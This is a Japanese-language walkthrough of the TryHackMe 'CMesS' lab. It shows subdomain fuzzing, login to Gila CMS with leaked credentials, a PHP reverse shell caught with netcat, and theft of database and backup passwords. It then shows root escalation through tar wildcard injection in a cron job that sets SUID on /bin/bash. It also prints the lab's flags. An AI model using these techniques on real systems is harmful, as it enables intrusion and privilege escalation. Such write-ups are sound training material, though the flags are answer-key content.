【TryHackMe】CMesS：Walkthrough

# 概要

TryHackMe「CMesS」のWalkthroughです。

https://tryhackme.com/r/room/cmess

# Task1

## **Q1**.*Compromise this machine and obtain user.txt*

**Hint**.*Have you tried fuzzing for subdomains?*

`/etc/hosts`にレコードを追記します。

```
10.10.147.108   cmess.thm
```

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -A -sC -sV -p- 10.10.147.108 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
|   256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_  256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp    open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 3 disallowed entries 
|_/src/ /themes/ /lib/
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-generator: Gila CMS
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.2p2|
|80|http|Apache/2.4.18|

`80`番ポートにアクセスします。

![home.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ccf82445-0cf3-0c39-8825-74a1a7624795.jpeg)

`Gila CMS`が使用されていると分かりました。

https://github.com/GilaCMS/gila

サブドメインを列挙します。

```
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.cmess.thm" -u http://cmess.thm -fw 522
dev                     [Status: 200, Size: 934, Words: 191, Lines: 31, Duration: 4765ms]
```

サブドメインを`/etc/hosts`に追記します。

```
10.10.147.108   cmess.thm dev.cmess.thm
```

`dev.cmess.thm`にアクセスすると`andre`のパスワードが`KPFTN_f2yxe%`だと分かりました。

![dev.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1b275359-4fb1-529f-5d9a-8d686163efd8.jpeg)

ディレクトリ列挙をします。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://cmess.thm/FUZZ -recursion -recursion-depth 1 -ic -c

admin                   [Status: 200, Size: 1580, Words: 377, Lines: 42, Duration: 318ms]

(省略)
```

`/admin`にアクセスするとログインフォームが表示されました。

![admin login form.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ee81b9cc-fcf2-0edc-a818-f9c3f76b1ff3.jpeg)

サブドメインで判明した`Email: andre@cmess.thm`,`Password: KPFTN_f2yxe%`を使用してログインに成功しました。

![dashboard.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c95a32b6-3367-4ff8-8252-4b6857d325b2.jpeg)

フッターから`Gila CMS version 1.10.9`が分かりました。
脆弱性情報を検索するとRCEの脆弱性を発見しました。

```
$ searchsploit Gila CMS 1.10.9
------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                 |  Path
------------------------------------------------------------------------------- ---------------------------------
Gila CMS 1.10.9 - Remote Code Execution (RCE) (Authenticated)                  | php/webapps/51569.py
Gila CMS < 1.11.1 - Local File Inclusion                                       | multiple/webapps/47407.txt
------------------------------------------------------------------------------- ---------------------------------
```

https://www.exploit-db.com/exploits/51569

ファイルアップロード機能を悪用するようです。
`Content`->`File Manager`から`tmp`フォルダにリバースシェル用のPHPファイルをアップロードします。

![tmp file uplaod.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/af3dfd2d-5af0-4fbe-cc05-6d60e0f2a5be.jpeg)

`/tmp/.htaccess`ファイルを`allow from all`に変更します。

![htaccess allow.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4d06441c-c351-99fb-b4e9-0419cf4a54a9.jpeg)

Netcatでリッスンします。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
```

`/tmp/php-reverse-shell.php`にアクセスすると`www-data`アカウントでリバースシェルを張れました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.147.108] 60596
Linux cmess 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 12:17:43 up  1:38,  0 users,  load average: 0.00, 0.44, 7.49
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

TTYの設定をします。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`/home`配下を見ると`andre`アカウントを確認できました。

```
www-data@cmess:/$ ls -la /home
ls -la /home
total 12
drwxr-xr-x  3 root  root  4096 Feb  6  2020 .
drwxr-xr-x 22 root  root  4096 Feb  6  2020 ..
drwxr-x---  4 andre andre 4096 Feb  9  2020 andre
```

パスワードを探します。

`/var/www/html/config.php`を見るとMySQLの認証情報を得られました。

```/var/www/html/config.php
<?php

$GLOBALS['config'] = array (
  'db' => 
  array (
    'host' => 'localhost',
    'user' => 'root',
    'pass' => 'r0otus3rpassw0rd',
    'name' => 'gila',
  ),
```

MySQLにログインし、データベース情報を見ましたが情報は得られませんでした。

```
www-data@cmess:/var/www/html$ mysql -u root -p
mysql -u root -p
Enter password: r0otus3rpassw0rd
mysql> use gila
mysql> select * from user;
select * from user;
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
| id | username | email           | pass                                                         | active | reset_code | created             | updated             |
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
|  1 | andre    | andre@cmess.thm | $2y$10$uNAA0MEze02jd.qU9tnYLu43bNo9nujltElcWEAcifNeZdk4bEsBa |      1 |            | 2020-02-06 18:20:34 | 2020-02-06 18:20:34 |
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
1 row in set (0.00 sec)
```

ディレクトリを探索していると`/opt/.password.bak`を発見しました。

```
www-data@cmess:/var/www/html$ ls -la /opt
ls -la /opt
total 12
drwxr-xr-x  2 root root 4096 Feb  6  2020 .
drwxr-xr-x 22 root root 4096 Feb  6  2020 ..
-rwxrwxrwx  1 root root   36 Feb  6  2020 .password.bak
```

ファイルの内容からパスワードを得られました。

```/opt/.password.bak
andres backup password
UQfsdCB7aAP6
```

`andre`アカウントでSSH接続します。

```
$ ssh andre@cmess.thm
andre@cmess:~$
```

`/home/andre/user.txt`からユーザーフラグを入手できました。

```/home/andre/user.txt
thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}
```

**A**.**thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}**

## **Q2**.*Escalate your privileges and obtain root.txt*

`sudo -l`,`SUID`を確認しましたが、権限昇格に繋がりそうなものはなかったので`/etc/crontab`を確認しました。

```
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 *   * * *   root    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
```

rootアカウントでクロンジョブが設定されています。
tarコマンドのワイルドカードを調べると権限昇格のテクニックを発見しました。

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks#tar

ワイルドカードを指定している場合、オプションをファイル名にするとtarコマンドのオプションとして認識するようです。

`/home/andre/backup`にファイルを作成します。

```/home/andre/backup/exploit.sh
#!/bin/bash
chmod u+s /bin/bash
```

```
$ chmod +x exploit.sh
$ echo "" > "--checkpoint-action=exec=sh exploit.sh"
$ echo "" > --checkpoint=1
```

ファイルを作成できました。

```
$ ls -la
-rw-rw-r-- 1 andre andre    1 Sep 24 12:37 --checkpoint=1
-rw-rw-r-- 1 andre andre    1 Sep 24 12:37 --checkpoint-action=exec=sh exploit.sh
-rwxrwxr-x 1 andre andre   32 Sep 24 12:39 exploit.sh
```

時間をおいて`/bin/bash`を確認するとSUIDが設定されています。

```
$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1037528 May 16  2017 /bin/bash
```

`-p`オプションで実行してroot権限に昇格できました。

```
$ /bin/bash -p
bash-4.3# whoami
root
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
thm{9f85b7fdeb2cf96985bf5761a93546a2}
```

**A**.**thm{9f85b7fdeb2cf96985bf5761a93546a2}**